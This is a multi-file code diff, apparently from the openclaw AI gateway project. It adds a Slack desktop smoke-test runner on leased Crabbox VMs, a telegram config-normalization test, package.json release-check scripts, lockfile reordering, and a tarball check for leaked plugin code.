process.stdout.write(JSON.stringify({ ok: body.ok, team_id: body.team_id, user_id: body.user_id }));
|
||||
if (!body.ok) process.exit(1);
|
||||
MANTIS_SLACK_AUTH
|
||||
team_id="$(node --input-type=module -e 'import fs from "node:fs"; const value = JSON.parse(fs.readFileSync(process.argv[1], "utf8")); process.stdout.write(value.team_id || "");' "$out/slack-auth-test.json" || true)"
|
||||
fi
|
||||
slack_url="$slack_url_override"
|
||||
if [ -z "$slack_url" ] && [ -n "$team_id" ] && [ -n "\${OPENCLAW_QA_SLACK_CHANNEL_ID:-}" ]; then
|
||||
slack_url="https://app.slack.com/client/$team_id/$OPENCLAW_QA_SLACK_CHANNEL_ID"
|
||||
fi
|
||||
profile="\${OPENCLAW_MANTIS_SLACK_BROWSER_PROFILE_DIR:-$HOME/.config/openclaw-mantis/slack-chrome-profile}"
|
||||
mkdir -p "$profile"
|
||||
if [ "$setup_gateway" = "1" ]; then
|
||||
export SLACK_BOT_TOKEN="\${OPENCLAW_MANTIS_SLACK_BOT_TOKEN:-\${SLACK_BOT_TOKEN:-}}"
|
||||
export SLACK_APP_TOKEN="\${OPENCLAW_MANTIS_SLACK_APP_TOKEN:-\${SLACK_APP_TOKEN:-}}"
|
||||
if [ -z "$SLACK_BOT_TOKEN" ] || [ -z "$SLACK_APP_TOKEN" ]; then
|
||||
echo "Gateway setup requires OPENCLAW_MANTIS_SLACK_BOT_TOKEN and OPENCLAW_MANTIS_SLACK_APP_TOKEN." >&2
|
||||
exit 2
|
||||
fi
|
||||
if [ -z "$slack_url" ] && [ -n "$team_id" ]; then
|
||||
slack_url="https://app.slack.com/client/$team_id/$slack_channel_id"
|
||||
fi
|
||||
fi
|
||||
if [ -z "$slack_url" ]; then
|
||||
slack_url="https://app.slack.com/client"
|
||||
fi
|
||||
if [ "$setup_gateway" = "1" ]; then
|
||||
nohup "$browser_bin" \
|
||||
--user-data-dir="$profile" \
|
||||
--no-first-run \
|
||||
--no-default-browser-check \
|
||||
--disable-dev-shm-usage \
|
||||
--window-size=1440,1000 \
|
||||
--window-position=0,0 \
|
||||
--class=mantis-slack-desktop-smoke \
|
||||
"$slack_url" >"$out/chrome.log" 2>&1 &
|
||||
else
|
||||
"$browser_bin" \
|
||||
--user-data-dir="$profile" \
|
||||
--no-first-run \
|
||||
--no-default-browser-check \
|
||||
--disable-dev-shm-usage \
|
||||
--window-size=1440,1000 \
|
||||
--window-position=0,0 \
|
||||
--class=mantis-slack-desktop-smoke \
|
||||
"$slack_url" >"$out/chrome.log" 2>&1 &
|
||||
fi
|
||||
chrome_pid=$!
|
||||
qa_status=0
|
||||
{
|
||||
set -e
|
||||
echo "remote pwd: $(pwd)"
|
||||
sudo corepack enable || sudo npm install -g pnpm@10.33.2
|
||||
pnpm install --frozen-lockfile
|
||||
pnpm build
|
||||
if [ "$setup_gateway" = "1" ]; then
|
||||
export OPENCLAW_HOME="$HOME/.openclaw-mantis/slack-openclaw"
|
||||
mkdir -p "$OPENCLAW_HOME"
|
||||
cat >"$out/slack.socket.patch.json5" <<MANTIS_SLACK_PATCH
|
||||
{
|
||||
gateway: {
|
||||
port: 38973,
|
||||
auth: { mode: "none" },
|
||||
},
|
||||
channels: {
|
||||
slack: {
|
||||
enabled: true,
|
||||
mode: "socket",
|
||||
webhookPath: "/slack/events",
|
||||
userTokenReadOnly: true,
|
||||
appToken: { source: "env", provider: "default", id: "SLACK_APP_TOKEN" },
|
||||
botToken: { source: "env", provider: "default", id: "SLACK_BOT_TOKEN" },
|
||||
groupPolicy: "allowlist",
|
||||
channels: {
|
||||
"$slack_channel_id": {
|
||||
enabled: true,
|
||||
requireMention: true,
|
||||
allowBots: true,
|
||||
users: ["*"],
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
MANTIS_SLACK_PATCH
|
||||
pnpm openclaw config patch --file "$out/slack.socket.patch.json5" --dry-run
|
||||
pnpm openclaw config patch --file "$out/slack.socket.patch.json5"
|
||||
nohup pnpm openclaw gateway run --dev --allow-unconfigured --port 38973 --cli-backend-logs >"$out/openclaw-gateway.log" 2>&1 &
|
||||
echo "$!" >"$out/openclaw-gateway.pid"
|
||||
sleep 12
|
||||
else
|
||||
qa_args=(openclaw qa slack --repo-root . --output-dir "$out/slack-qa" --provider-mode "$provider_mode" --model "$primary_model" --alt-model "$alternate_model" --credential-source "$credential_source" --credential-role "$credential_role")
|
||||
if [ "$fast_mode" = "1" ]; then
|
||||
qa_args+=(--fast)
|
||||
fi
|
||||
pnpm "\${qa_args[@]}" ${scenarioArgs}
|
||||
fi
|
||||
} >"$out/slack-desktop-command.log" 2>&1 || qa_status=$?
|
||||
sleep 5
|
||||
scrot "$out/slack-desktop-smoke.png" || true
|
||||
if [ "$setup_gateway" != "1" ]; then
|
||||
kill "$chrome_pid" >/dev/null 2>&1 || true
|
||||
fi
|
||||
cat >"$out/remote-metadata.json" <<MANTIS_REMOTE_METADATA
|
||||
{
|
||||
"browserBinary": "$browser_bin",
|
||||
"browserProfile": "$profile",
|
||||
"display": "$DISPLAY",
|
||||
"openedUrl": "$slack_url",
|
||||
"gatewaySetup": $setup_gateway,
|
||||
"gatewayPort": 38973,
|
||||
"qaExitCode": $qa_status,
|
||||
"credentialSource": "$credential_source",
|
||||
"credentialRole": "$credential_role",
|
||||
"providerMode": "$provider_mode",
|
||||
"capturedAt": "$(date -u +%Y-%m-%dT%H:%M:%SZ)"
|
||||
}
|
||||
MANTIS_REMOTE_METADATA
|
||||
test -s "$out/slack-desktop-smoke.png"
|
||||
exit "$qa_status"
|
||||
`;
|
||||
}
|
||||
|
||||
function renderReport(summary: MantisSlackDesktopSmokeSummary) {
|
||||
const lines = [
|
||||
"# Mantis Slack Desktop Smoke",
|
||||
"",
|
||||
`Status: ${summary.status}`,
|
||||
summary.slackUrl ? `Slack URL: ${summary.slackUrl}` : undefined,
|
||||
`Output: ${summary.outputDir}`,
|
||||
`Started: ${summary.startedAt}`,
|
||||
`Finished: ${summary.finishedAt}`,
|
||||
"",
|
||||
"## Crabbox",
|
||||
"",
|
||||
`- Provider: ${summary.crabbox.provider}`,
|
||||
`- Lease: ${summary.crabbox.id}${summary.crabbox.slug ? ` (${summary.crabbox.slug})` : ""}`,
|
||||
`- Created by run: ${summary.crabbox.createdLease}`,
|
||||
`- State: ${summary.crabbox.state ?? "unknown"}`,
|
||||
`- VNC: \`${summary.crabbox.vncCommand}\``,
|
||||
"",
|
||||
"## Artifacts",
|
||||
"",
|
||||
summary.artifacts.screenshotPath
|
||||
? `- Screenshot: \`${path.basename(summary.artifacts.screenshotPath)}\``
|
||||
: "- Screenshot: missing",
|
||||
summary.artifacts.slackQaDir ? "- Slack QA artifacts: `slack-qa/`" : undefined,
|
||||
"- Remote metadata: `remote-metadata.json`",
|
||||
"- Remote command log: `slack-desktop-command.log`",
|
||||
"- Chrome log: `chrome.log`",
|
||||
summary.error ? `- Error: ${summary.error}` : undefined,
|
||||
"",
|
||||
].filter((line) => line !== undefined);
|
||||
return `${lines.join("\n")}\n`;
|
||||
}
|
||||
|
||||
async function runCommand(params: {
|
||||
args: readonly string[];
|
||||
command: string;
|
||||
cwd: string;
|
||||
env: NodeJS.ProcessEnv;
|
||||
runner: CommandRunner;
|
||||
stdio?: "inherit" | "pipe";
|
||||
}) {
|
||||
return params.runner(params.command, params.args, {
|
||||
cwd: params.cwd,
|
||||
env: params.env,
|
||||
stdio: params.stdio ?? "pipe",
|
||||
});
|
||||
}
|
||||
|
||||
async function warmupCrabbox(params: {
|
||||
crabboxBin: string;
|
||||
cwd: string;
|
||||
env: NodeJS.ProcessEnv;
|
||||
idleTimeout: string;
|
||||
machineClass: string;
|
||||
provider: string;
|
||||
runner: CommandRunner;
|
||||
ttl: string;
|
||||
}) {
|
||||
const result = await runCommand({
|
||||
command: params.crabboxBin,
|
||||
args: [
|
||||
"warmup",
|
||||
"--provider",
|
||||
params.provider,
|
||||
"--desktop",
|
||||
"--browser",
|
||||
"--class",
|
||||
params.machineClass,
|
||||
"--idle-timeout",
|
||||
params.idleTimeout,
|
||||
"--ttl",
|
||||
params.ttl,
|
||||
],
|
||||
cwd: params.cwd,
|
||||
env: params.env,
|
||||
runner: params.runner,
|
||||
stdio: "inherit",
|
||||
});
|
||||
const leaseId = extractLeaseId(`${result.stdout}\n${result.stderr}`);
|
||||
if (!leaseId) {
|
||||
throw new Error("Crabbox warmup did not print a lease id.");
|
||||
}
|
||||
return leaseId;
|
||||
}
|
||||
|
||||
async function inspectCrabbox(params: {
|
||||
crabboxBin: string;
|
||||
cwd: string;
|
||||
env: NodeJS.ProcessEnv;
|
||||
leaseId: string;
|
||||
provider: string;
|
||||
runner: CommandRunner;
|
||||
}) {
|
||||
const result = await runCommand({
|
||||
command: params.crabboxBin,
|
||||
args: ["inspect", "--provider", params.provider, "--id", params.leaseId, "--json"],
|
||||
cwd: params.cwd,
|
||||
env: params.env,
|
||||
runner: params.runner,
|
||||
});
|
||||
return JSON.parse(result.stdout) as CrabboxInspect;
|
||||
}
|
||||
|
||||
function sshCommand(params: { inspect: CrabboxInspect }) {
|
||||
const { host, sshKey, sshPort, sshUser } = params.inspect;
|
||||
if (!host || !sshKey || !sshUser) {
|
||||
throw new Error("Crabbox inspect output is missing SSH copy details.");
|
||||
}
|
||||
return {
|
||||
host,
|
||||
sshUser,
|
||||
sshArgs: [
|
||||
"ssh",
|
||||
"-i",
|
||||
shellQuote(sshKey),
|
||||
"-p",
|
||||
sshPort ?? "22",
|
||||
"-o",
|
||||
"BatchMode=yes",
|
||||
"-o",
|
||||
"ConnectTimeout=15",
|
||||
"-o",
|
||||
"StrictHostKeyChecking=no",
|
||||
"-o",
|
||||
"UserKnownHostsFile=/dev/null",
|
||||
].join(" "),
|
||||
};
|
||||
}
|
||||
|
||||
async function copyRemoteArtifacts(params: {
|
||||
cwd: string;
|
||||
env: NodeJS.ProcessEnv;
|
||||
inspect: CrabboxInspect;
|
||||
outputDir: string;
|
||||
remoteOutputDir: string;
|
||||
runner: CommandRunner;
|
||||
}) {
|
||||
const { host, sshArgs, sshUser } = sshCommand({ inspect: params.inspect });
|
||||
await fs.mkdir(path.join(params.outputDir, "slack-qa"), { recursive: true });
|
||||
await runCommand({
|
||||
command: "rsync",
|
||||
args: [
|
||||
"-az",
|
||||
"-e",
|
||||
sshArgs,
|
||||
`${sshUser}@${host}:${params.remoteOutputDir}/slack-desktop-smoke.png`,
|
||||
`${sshUser}@${host}:${params.remoteOutputDir}/remote-metadata.json`,
|
||||
`${sshUser}@${host}:${params.remoteOutputDir}/chrome.log`,
|
||||
`${sshUser}@${host}:${params.remoteOutputDir}/slack-desktop-command.log`,
|
||||
`${params.outputDir}/`,
|
||||
],
|
||||
cwd: params.cwd,
|
||||
env: params.env,
|
||||
runner: params.runner,
|
||||
});
|
||||
await runCommand({
|
||||
command: "rsync",
|
||||
args: [
|
||||
"-az",
|
||||
"-e",
|
||||
sshArgs,
|
||||
`${sshUser}@${host}:${params.remoteOutputDir}/slack-qa/`,
|
||||
`${path.join(params.outputDir, "slack-qa")}/`,
|
||||
],
|
||||
cwd: params.cwd,
|
||||
env: params.env,
|
||||
runner: params.runner,
|
||||
}).catch(() => ({ stdout: "", stderr: "" }));
|
||||
}
|
||||
|
||||
async function stopCrabbox(params: {
|
||||
crabboxBin: string;
|
||||
cwd: string;
|
||||
env: NodeJS.ProcessEnv;
|
||||
leaseId: string;
|
||||
provider: string;
|
||||
runner: CommandRunner;
|
||||
}) {
|
||||
await runCommand({
|
||||
command: params.crabboxBin,
|
||||
args: ["stop", "--provider", params.provider, params.leaseId],
|
||||
cwd: params.cwd,
|
||||
env: params.env,
|
||||
runner: params.runner,
|
||||
stdio: "inherit",
|
||||
});
|
||||
}
|
||||
|
||||
export async function runMantisSlackDesktopSmoke(
|
||||
opts: MantisSlackDesktopSmokeOptions = {},
|
||||
): Promise<MantisSlackDesktopSmokeResult> {
|
||||
const env = buildCrabboxEnv(opts.env ?? process.env);
|
||||
const startedAt = (opts.now ?? (() => new Date()))();
|
||||
const repoRoot = path.resolve(opts.repoRoot ?? process.cwd());
|
||||
const outputDir = await ensureRepoBoundDirectory(
|
||||
repoRoot,
|
||||
resolveRepoRelativeOutputDir(repoRoot, opts.outputDir) ?? defaultOutputDir(repoRoot, startedAt),
|
||||
"Mantis Slack desktop smoke output directory",
|
||||
{ mode: 0o755 },
|
||||
);
|
||||
const summaryPath = path.join(outputDir, "mantis-slack-desktop-smoke-summary.json");
|
||||
const reportPath = path.join(outputDir, "mantis-slack-desktop-smoke-report.md");
|
||||
const crabboxBin = await resolveCrabboxBin({ env, explicit: opts.crabboxBin, repoRoot });
|
||||
const provider =
|
||||
trimToValue(opts.provider) ?? trimToValue(env[CRABBOX_PROVIDER_ENV]) ?? DEFAULT_PROVIDER;
|
||||
const machineClass =
|
||||
trimToValue(opts.machineClass) ?? trimToValue(env[CRABBOX_CLASS_ENV]) ?? DEFAULT_CLASS;
|
||||
const idleTimeout =
|
||||
trimToValue(opts.idleTimeout) ??
|
||||
trimToValue(env[CRABBOX_IDLE_TIMEOUT_ENV]) ??
|
||||
DEFAULT_IDLE_TIMEOUT;
|
||||
const ttl = trimToValue(opts.ttl) ?? trimToValue(env[CRABBOX_TTL_ENV]) ?? DEFAULT_TTL;
|
||||
const credentialSource = trimToValue(opts.credentialSource) ?? DEFAULT_CREDENTIAL_SOURCE;
|
||||
const credentialRole = trimToValue(opts.credentialRole) ?? DEFAULT_CREDENTIAL_ROLE;
|
||||
const providerMode = trimToValue(opts.providerMode) ?? DEFAULT_PROVIDER_MODE;
|
||||
const primaryModel = trimToValue(opts.primaryModel) ?? DEFAULT_MODEL;
|
||||
const alternateModel = trimToValue(opts.alternateModel) ?? primaryModel;
|
||||
const fastMode = opts.fastMode ?? true;
|
||||
const gatewaySetup = opts.gatewaySetup ?? false;
|
||||
const scenarioIds = opts.scenarioIds ?? [];
|
||||
const slackChannelId =
|
||||
trimToValue(opts.slackChannelId) ??
|
||||
trimToValue(env[SLACK_CHANNEL_ID_ENV]) ??
|
||||
trimToValue(env.OPENCLAW_QA_SLACK_CHANNEL_ID) ??
|
||||
DEFAULT_SLACK_CHANNEL_ID;
|
||||
const slackUrl = trimToValue(opts.slackUrl) ?? trimToValue(env[SLACK_URL_ENV]);
|
||||
const runner = opts.commandRunner ?? defaultCommandRunner;
|
||||
const explicitLeaseId = trimToValue(opts.leaseId) ?? trimToValue(env[CRABBOX_LEASE_ID_ENV]);
|
||||
const keepLease = opts.keepLease ?? (gatewaySetup || isTruthyOptIn(env[CRABBOX_KEEP_ENV]));
|
||||
const createdLease = explicitLeaseId === undefined;
|
||||
const remoteOutputDir = `/tmp/openclaw-mantis-slack-desktop-${startedAt
|
||||
.toISOString()
|
||||
.replace(/[^0-9A-Za-z]/gu, "-")}`;
|
||||
let leaseId = explicitLeaseId;
|
||||
let summary: MantisSlackDesktopSmokeSummary | undefined;
|
||||
let screenshotPath: string | undefined;
|
||||
let slackQaDir: string | undefined;
|
||||
|
||||
try {
|
||||
leaseId =
|
||||
leaseId ??
|
||||
(await warmupCrabbox({
|
||||
crabboxBin,
|
||||
cwd: repoRoot,
|
||||
env,
|
||||
idleTimeout,
|
||||
machineClass,
|
||||
provider,
|
||||
runner,
|
||||
ttl,
|
||||
}));
|
||||
const inspected = await inspectCrabbox({
|
||||
crabboxBin,
|
||||
cwd: repoRoot,
|
||||
env,
|
||||
leaseId,
|
||||
provider,
|
||||
runner,
|
||||
});
|
||||
let remoteRunError: unknown;
|
||||
await runCommand({
|
||||
command: crabboxBin,
|
||||
args: [
|
||||
"run",
|
||||
"--provider",
|
||||
provider,
|
||||
"--id",
|
||||
leaseId,
|
||||
"--desktop",
|
||||
"--browser",
|
||||
"--shell",
|
||||
"--",
|
||||
renderRemoteScript({
|
||||
alternateModel,
|
||||
credentialRole,
|
||||
credentialSource,
|
||||
fastMode,
|
||||
primaryModel,
|
||||
providerMode,
|
||||
remoteOutputDir,
|
||||
scenarioIds,
|
||||
setupGateway: gatewaySetup,
|
||||
slackChannelId,
|
||||
slackUrl,
|
||||
}),
|
||||
],
|
||||
cwd: repoRoot,
|
||||
env,
|
||||
runner,
|
||||
stdio: "inherit",
|
||||
}).catch((error: unknown) => {
|
||||
remoteRunError = error;
|
||||
return { stdout: "", stderr: "" };
|
||||
});
|
||||
await copyRemoteArtifacts({
|
||||
cwd: repoRoot,
|
||||
env,
|
||||
inspect: inspected,
|
||||
outputDir,
|
||||
remoteOutputDir,
|
||||
runner,
|
||||
});
|
||||
screenshotPath = path.join(outputDir, "slack-desktop-smoke.png");
|
||||
slackQaDir = path.join(outputDir, "slack-qa");
|
||||
if (!(await pathExists(screenshotPath))) {
|
||||
throw new Error("Slack desktop screenshot was not copied back from Crabbox.");
|
||||
}
|
||||
if (remoteRunError) {
|
||||
throw remoteRunError;
|
||||
}
|
||||
summary = {
|
||||
artifacts: {
|
||||
reportPath,
|
||||
screenshotPath,
|
||||
slackQaDir,
|
||||
summaryPath,
|
||||
},
|
||||
crabbox: {
|
||||
bin: crabboxBin,
|
||||
createdLease,
|
||||
id: leaseId,
|
||||
provider,
|
||||
slug: inspected.slug,
|
||||
state: inspected.state,
|
||||
vncCommand: `${crabboxBin} vnc --provider ${provider} --id ${leaseId} --open`,
|
||||
},
|
||||
finishedAt: new Date().toISOString(),
|
||||
outputDir,
|
||||
remoteOutputDir,
|
||||
slackUrl,
|
||||
startedAt: startedAt.toISOString(),
|
||||
status: "pass",
|
||||
};
|
||||
return {
|
||||
outputDir,
|
||||
reportPath,
|
||||
screenshotPath,
|
||||
status: "pass",
|
||||
summaryPath,
|
||||
};
|
||||
} catch (error) {
|
||||
summary = {
|
||||
artifacts: {
|
||||
reportPath,
|
||||
screenshotPath,
|
||||
slackQaDir,
|
||||
summaryPath,
|
||||
},
|
||||
crabbox: {
|
||||
bin: crabboxBin,
|
||||
createdLease,
|
||||
id: leaseId ?? "unallocated",
|
||||
provider,
|
||||
vncCommand: leaseId
|
||||
? `${crabboxBin} vnc --provider ${provider} --id ${leaseId} --open`
|
||||
: "unallocated",
|
||||
},
|
||||
error: formatErrorMessage(error),
|
||||
finishedAt: new Date().toISOString(),
|
||||
outputDir,
|
||||
remoteOutputDir,
|
||||
slackUrl,
|
||||
startedAt: startedAt.toISOString(),
|
||||
status: "fail",
|
||||
};
|
||||
await fs.writeFile(path.join(outputDir, "error.txt"), `${summary.error}\n`, "utf8");
|
||||
return {
|
||||
outputDir,
|
||||
reportPath,
|
||||
screenshotPath,
|
||||
status: "fail",
|
||||
summaryPath,
|
||||
};
|
||||
} finally {
|
||||
if (summary) {
|
||||
summary.finishedAt = new Date().toISOString();
|
||||
await fs.writeFile(summaryPath, `${JSON.stringify(summary, null, 2)}\n`, "utf8");
|
||||
await fs.writeFile(reportPath, renderReport(summary), "utf8");
|
||||
}
|
||||
if (summary?.status === "pass" && createdLease && leaseId && !keepLease) {
|
||||
await stopCrabbox({ crabboxBin, cwd: repoRoot, env, leaseId, provider, runner });
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -132,6 +132,42 @@ describe("telegram doctor", () => {
|
||||
);
|
||||
});
|
||||
|
||||
it("normalizes legacy telegram streaming progress config", () => {
|
||||
const normalize = telegramDoctor.normalizeCompatibilityConfig;
|
||||
expect(normalize).toBeDefined();
|
||||
if (!normalize) {
|
||||
return;
|
||||
}
|
||||
|
||||
const result = normalize({
|
||||
cfg: {
|
||||
channels: {
|
||||
telegram: {
|
||||
streaming: {
|
||||
mode: "partial",
|
||||
progress: {
|
||||
label: "Working",
|
||||
maxLines: 3,
|
||||
toolProgress: false,
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
} as never,
|
||||
});
|
||||
|
||||
expect(result.config.channels?.telegram?.streaming).toEqual({
|
||||
mode: "partial",
|
||||
preview: {
|
||||
toolProgress: false,
|
||||
},
|
||||
});
|
||||
expect(result.changes).toEqual([
|
||||
"Moved channels.telegram.streaming.progress.toolProgress → channels.telegram.streaming.preview.toolProgress.",
|
||||
"Removed channels.telegram.streaming.progress legacy object.",
|
||||
]);
|
||||
});
|
||||
|
||||
it("does not duplicate streaming.mode change messages when streamMode wins over boolean streaming", () => {
|
||||
const normalize = telegramDoctor.normalizeCompatibilityConfig;
|
||||
expect(normalize).toBeDefined();
|
||||
|
||||
@@ -226,6 +226,7 @@ function createXaiRealtimeTranscriptionSession(
|
||||
reconnectDelayMs: XAI_REALTIME_STT_RECONNECT_DELAY_MS,
|
||||
maxQueuedBytes: XAI_REALTIME_STT_MAX_QUEUED_BYTES,
|
||||
connectTimeoutMessage: "xAI realtime transcription connection timeout",
|
||||
connectClosedBeforeReadyMessage: "xAI realtime transcription connection closed before ready",
|
||||
reconnectLimitMessage: "xAI realtime transcription reconnect limit reached",
|
||||
sendAudio: (audio, transport) => {
|
||||
transport.sendBinary(audio);
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "openclaw",
|
||||
"version": "2026.5.3",
|
||||
"version": "2026.5.3-1",
|
||||
"description": "Multi-channel AI gateway with extensible messaging integrations",
|
||||
"keywords": [],
|
||||
"homepage": "https://github.com/openclaw/openclaw#readme",
|
||||
@@ -1437,6 +1437,7 @@
|
||||
"moltbot:rpc": "node scripts/run-node.mjs agent --mode rpc --json",
|
||||
"openclaw": "node scripts/run-node.mjs",
|
||||
"openclaw:rpc": "node scripts/run-node.mjs agent --mode rpc --json",
|
||||
"package:exclusions:check": "node --import tsx scripts/sync-root-package-exclusions.ts --check",
|
||||
"perf:kova:summary": "node scripts/kova-ci-summary.mjs",
|
||||
"perf:source:summary": "node scripts/openclaw-performance-source-summary.mjs",
|
||||
"plugin-sdk:api:check": "node --max-old-space-size=4096 --import tsx scripts/generate-plugin-sdk-api-baseline.ts --check",
|
||||
@@ -1477,13 +1478,15 @@
|
||||
"qa:lab:watch": "vite build --watch --config extensions/qa-lab/web/vite.config.ts",
|
||||
"qa:otel:smoke": "node --import tsx scripts/qa-otel-smoke.ts",
|
||||
"release-metadata:check": "node scripts/check-release-metadata-only.mjs",
|
||||
"release:check": "pnpm deps:root-ownership:check && pnpm plugins:inventory:check && pnpm check:base-config-schema && pnpm check:bundled-channel-config-metadata && pnpm config:docs:check && pnpm plugin-sdk:check-exports && pnpm plugin-sdk:api:check && node --import tsx scripts/release-check.ts",
|
||||
"release:check": "pnpm deps:root-ownership:check && pnpm package:exclusions:check && pnpm plugins:inventory:check && pnpm release:plugins:npm:runtime:check && pnpm check:base-config-schema && pnpm check:bundled-channel-config-metadata && pnpm config:docs:check && pnpm plugin-sdk:check-exports && pnpm plugin-sdk:api:check && node --import tsx scripts/release-check.ts",
|
||||
"release:openclaw:npm:check": "node --import tsx scripts/openclaw-npm-release-check.ts",
|
||||
"release:openclaw:npm:verify-published": "node --import tsx scripts/openclaw-npm-postpublish-verify.ts",
|
||||
"release:plugins:clawhub:check": "node --import tsx scripts/plugin-clawhub-release-check.ts",
|
||||
"release:plugins:clawhub:plan": "node --import tsx scripts/plugin-clawhub-release-plan.ts",
|
||||
"release:plugins:npm:check": "node --import tsx scripts/plugin-npm-release-check.ts",
|
||||
"release:plugins:npm:plan": "node --import tsx scripts/plugin-npm-release-plan.ts",
|
||||
"release:plugins:npm:runtime:check": "node scripts/check-plugin-npm-runtime-builds.mjs",
|
||||
"release:registries:verify": "node --import tsx scripts/release-registries-verify.ts",
|
||||
"rtt": "node --import tsx scripts/rtt.ts",
|
||||
"runtime-sidecars:check": "node --import tsx scripts/generate-runtime-sidecar-paths-baseline.ts --check",
|
||||
"runtime-sidecars:gen": "node --import tsx scripts/generate-runtime-sidecar-paths-baseline.ts --write",
|
||||
|
||||
21
pnpm-lock.yaml
generated
21
pnpm-lock.yaml
generated
@@ -217,10 +217,6 @@ importers:
|
||||
zod:
|
||||
specifier: ^4.4.1
|
||||
version: 4.4.1
|
||||
optionalDependencies:
|
||||
sqlite-vec:
|
||||
specifier: 0.1.9
|
||||
version: 0.1.9
|
||||
devDependencies:
|
||||
'@copilotkit/aimock':
|
||||
specifier: 1.16.4
|
||||
@@ -288,6 +284,10 @@ importers:
|
||||
vitest:
|
||||
specifier: ^4.1.5
|
||||
version: 4.1.5(@opentelemetry/api@1.9.1)(@types/node@25.6.0)(@vitest/browser-playwright@4.1.5)(@vitest/coverage-v8@4.1.5)(jsdom@29.1.1(@noble/hashes@2.0.1))(vite@8.0.10(@types/node@25.6.0)(esbuild@0.27.7)(jiti@2.6.1)(tsx@4.21.0)(yaml@2.8.3))
|
||||
optionalDependencies:
|
||||
sqlite-vec:
|
||||
specifier: 0.1.9
|
||||
version: 0.1.9
|
||||
|
||||
extensions/acpx:
|
||||
dependencies:
|
||||
@@ -6395,10 +6395,6 @@ packages:
|
||||
resolution: {integrity: sha512-9MdFxmkKaOYVTV+XVRG8ArDwwQ77XIgIPyKASB1k3JPq3M8fGQQQE3YpMOrKm6g//Ktx8ivZr8xo1Qmtqub+GA==}
|
||||
engines: {node: ^18 || ^20 || >= 21}
|
||||
|
||||
node-gyp-build@4.8.4:
|
||||
resolution: {integrity: sha512-LA4ZjwlnUblHVgq0oBF3Jl/6h/Nvs5fzBLwdEF4nuxnFdsfajde4WfxtJr3CaiH+F6ewcIB/q4jQ4UzPyid+CQ==}
|
||||
hasBin: true
|
||||
|
||||
node-downloader-helper@2.1.11:
|
||||
resolution: {integrity: sha512-882fH2C9AWdiPCwz/2beq5t8FGMZK9Dx8TJUOIxzMCbvG7XUKM5BuJwN5f0NKo4SCQK6jR4p2TPm54mYGdGchQ==}
|
||||
engines: {node: '>=14.18'}
|
||||
@@ -6421,6 +6417,10 @@ packages:
|
||||
resolution: {integrity: sha512-dRB78srN/l6gqWulah9SrxeYnxeddIG30+GOqK/9OlLVyLg3HPnr6SqOWTWOXKRwC2eGYCkZ59NNuSgvSrpgOA==}
|
||||
engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0}
|
||||
|
||||
node-gyp-build@4.8.4:
|
||||
resolution: {integrity: sha512-LA4ZjwlnUblHVgq0oBF3Jl/6h/Nvs5fzBLwdEF4nuxnFdsfajde4WfxtJr3CaiH+F6ewcIB/q4jQ4UzPyid+CQ==}
|
||||
hasBin: true
|
||||
|
||||
node-sarif-builder@3.4.0:
|
||||
resolution: {integrity: sha512-tGnJW6OKRii9u/b2WiUViTJS+h7Apxx17qsMUjsUeNDiMMX5ZFf8F8Fcz7PAQ6omvOxHZtvDTmOYKJQwmfpjeg==}
|
||||
engines: {node: '>=20'}
|
||||
@@ -13588,8 +13588,6 @@ snapshots:
|
||||
|
||||
node-addon-api@8.7.0: {}
|
||||
|
||||
node-gyp-build@4.8.4: {}
|
||||
|
||||
node-downloader-helper@2.1.11: {}
|
||||
|
||||
node-edge-tts@1.2.10:
|
||||
@@ -13612,6 +13610,8 @@ snapshots:
|
||||
fetch-blob: 3.2.0
|
||||
formdata-polyfill: 4.0.10
|
||||
|
||||
node-gyp-build@4.8.4: {}
|
||||
|
||||
node-sarif-builder@3.4.0:
|
||||
dependencies:
|
||||
'@types/sarif': 2.1.7
|
||||
@@ -14606,6 +14606,7 @@ snapshots:
|
||||
sqlite-vec-linux-arm64: 0.1.9
|
||||
sqlite-vec-linux-x64: 0.1.9
|
||||
sqlite-vec-windows-x64: 0.1.9
|
||||
optional: true
|
||||
|
||||
stackback@0.0.2: {}
|
||||
|
||||
|
||||
@@ -157,6 +157,53 @@ function readTarEntry(entryPath) {
|
||||
return "";
|
||||
}
|
||||
|
||||
function collectRootPackageExcludedExtensionDirs(packageJson) {
|
||||
/** @type {Set<string>} */
|
||||
const excluded = new Set();
|
||||
for (const entry of packageJson.files ?? []) {
|
||||
if (typeof entry !== "string") {
|
||||
continue;
|
||||
}
|
||||
const match = /^!dist\/extensions\/([^/]+)\/\*\*$/u.exec(entry);
|
||||
if (match?.[1]) {
|
||||
excluded.add(match[1]);
|
||||
}
|
||||
}
|
||||
return excluded;
|
||||
}
|
||||
|
||||
function collectExternalizedPluginRootChunkErrors(packageJson) {
|
||||
const excludedExtensionDirs = collectRootPackageExcludedExtensionDirs(packageJson);
|
||||
if (excludedExtensionDirs.size === 0) {
|
||||
return [];
|
||||
}
|
||||
/** @type {Map<string, string[]>} */
|
||||
const leaked = new Map();
|
||||
for (const entry of normalized) {
|
||||
if (
|
||||
!entry.startsWith("dist/") ||
|
||||
entry.startsWith("dist/extensions/") ||
|
||||
!/\.(?:cjs|js|mjs)$/u.test(entry)
|
||||
) {
|
||||
continue;
|
||||
}
|
||||
const source = readTarEntry(entry);
|
||||
for (const pluginId of excludedExtensionDirs) {
|
||||
if (source.includes(`//#region extensions/${pluginId}/`)) {
|
||||
const files = leaked.get(pluginId) ?? [];
|
||||
files.push(entry);
|
||||
leaked.set(pluginId, files);
|
||||
}
|
||||
}
|
||||
}
|
||||
return [...leaked.entries()]
|
||||
.map(([pluginId, files]) => {
|
||||
const fileList = [...new Set(files)].toSorted((left, right) => left.localeCompare(right));
|
||||
return `root dist contains code from externalized plugin '${pluginId}' in ${fileList.join(", ")}; excluded plugins must not be compiled into root package chunks.`;
|
||||
})
|
||||
.toSorted((left, right) => left.localeCompare(right));
|
||||
}
|
||||
|
||||
for (const entry of normalized) {
|
||||
if (entry.startsWith("/") || entry.split("/").includes("..")) {
|
||||
errors.push(`unsafe tar entry: ${entry}`);
|
||||
@@ -180,14 +227,16 @@ for (const requiredPrefix of REQUIRED_TARBALL_ENTRY_PREFIXES) {
|
||||
}
|
||||
}
|
||||
let packageVersion = "";
|
||||
let packageJson = {};
|
||||
if (entrySet.has("package.json")) {
|
||||
try {
|
||||
